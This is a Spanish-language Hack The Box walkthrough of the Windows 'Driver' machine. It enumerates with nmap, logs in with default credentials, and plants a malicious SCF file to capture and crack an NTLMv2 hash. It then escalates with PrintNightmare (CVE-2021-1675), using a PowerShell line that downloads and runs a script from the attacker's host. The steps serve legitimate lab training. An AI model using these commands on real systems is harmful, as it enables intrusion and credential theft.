Saltar al contenido

HackTheBox – Driver – Writeup – (OSCP Friendly)

En este post voy a vulnerar la máquina Driver de Hack The Box. Es una máquina Windows de nivel fácil, basada en impresoras.

Enumeración

Comienzo escaneado los 65535 puertos del protocolo TCP, estableciendo un envío mínimo de 5000 paquetes por segundo.

nmap -p- --open -n --min-rate 5000 10.10.11.106

En la máquina hay cuatro puertos abiertos. Escaneo los puertos que he encontrado para ver la versión de los servicios que están corriendo en ellos y ejecuto una serie de scripts de enumeración básicos.

nmap -p80,135,445,5985 -sC -sV 10.10.11.106
Starting Nmap 7.91 ( https://nmap.org ) at 2022-04-11 11:34 CEST
Nmap scan report for 10.10.11.106
Host is up (0.11s latency).

PORT     STATE SERVICE      VERSION
80/tcp   open  http         Microsoft IIS httpd 10.0
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=MFP Firmware Update Center. Please enter password for admin
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
135/tcp  open  msrpc        Microsoft Windows RPC
445/tcp  open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
5985/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DRIVER; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 7h16m31s, deviation: 0s, median: 7h16m30s
| smb-security-mode: 
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2022-04-11T16:51:21
|_  start_date: 2022-04-11T16:48:23

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 47.71 seconds

HTTP

Accedo a la web y un banner para autenticarme.

Pruebo las credenciales admin:admin y consigo acceder.

Entro a la página Home.

Me dirijo a la pestaña Firmware Updates y llego a una ventana donde me deja subir ficheros.

Después de investigar un poco, encuentro esté post de pentestlab.blog donde me explica como compartir un fichero malicioso scf a través de un smb. El objetivo de este ataque es conseguir un hash NTLMv2 para luego romperlo.

Primero creo el fichero malicioso como me indican en la web.

[Shell]
Command=2
IconFile=\\10.10.14.6\evilsmb\pentestlab.ico
[Taskbar]
Command=ToggleDesktop

Creo un servidor smb y subo el fichero a la web.

Vuelvo a la consola del servidor smb y me encuentro un hash.

tony::DRIVER:aaaaaaaaaaaaaaaa:39d6d12c7c3b97fbd4c1540ce1a4885a:0101000000000000807a5a1a964dd80108f52cfad8a586be0000000001001000780076005100610047004800670061000300100078007600510061004700480067006100020010004900440071007a005400790052006900040010004900440071007a00540079005200690007000800807a5a1a964dd80106000400020000000800300030000000000000000000000000200000c5f85dfe86164b11807e381f8c164e435aee6d238826d01ad6f72b600badbd230a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310034002e003600000000000000000000000000

Guardo el hash en un fichero y lo rompo con John The Ripper y rockyou.txt.

john --wordlist=/usr/share/wordlists/rockyou.txt hash

Pruebo con crackmapexec si las credenciales tony:liltony son válidas para autenticarme en WinRM.

crackmapexec winrm 10.10.11.106 -u tony -p liltony

Como son válidas me conecto a la máquina con evil-winrm.

evil-winrm -i 10.10.11.106 -u 'tony' -p 'liltony'

Escalada de Privilegios

Como el comando systeminfo está deshabilitado tengo que consultar las querys directamente.

reg query "hklm\software\microsoft\windows nt\currentversion" /v ProductName
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v PROCESSOR_ARCHITECTURE 

Con esto ya he averiguado que se trata de un sistema Windows 10 de 64 bits.

Subo un binario de winPEAS.

winPEAS encuentra un historial de comandos de powershell.

Leo el fichero y veo que contiene un comando para agregar una impresora.

Como toda la máquina trata de impresoras, googleo un poco y llego a la vulnerabilidad conocida como PrintNightmare que está registrada con el código CVE-2021-1675.

Me descargo el exploit que tiene calebstewart en su github.

Primero compruebo los usuarios existentes en el sistema.

Creo un usuario llamado evil.

iex(New-Object Net.Webclient).downloadstring('http://10.10.14.6:8181/CVE-2021-1675.ps1')
Invoke-Nightmare -DriverName "Xerox" -NewUser "evil" -NewPassword "evil123"

Compruebo que el usuario evil se ha creado y que está en el grupo Administrators.

Compruebo las credenciales.

crackmapexec smb 10.10.11.106 -u evil -p evil123

Me conecto con el script psexec.py y las nuevas credenciales.

psexec.py evil:'evil123'@10.10.11.106

Flags

User

La flag de usuario la encuentro en la ruta C:\Users\tony\Desktop\user.txt.

Root

La flag de administrador la encuentro en la ruta La flag de usuario la encuentro en la ruta C:\Users\Administrator\Desktop\root.txt.

Publicado enCTFHTBOSCPwindows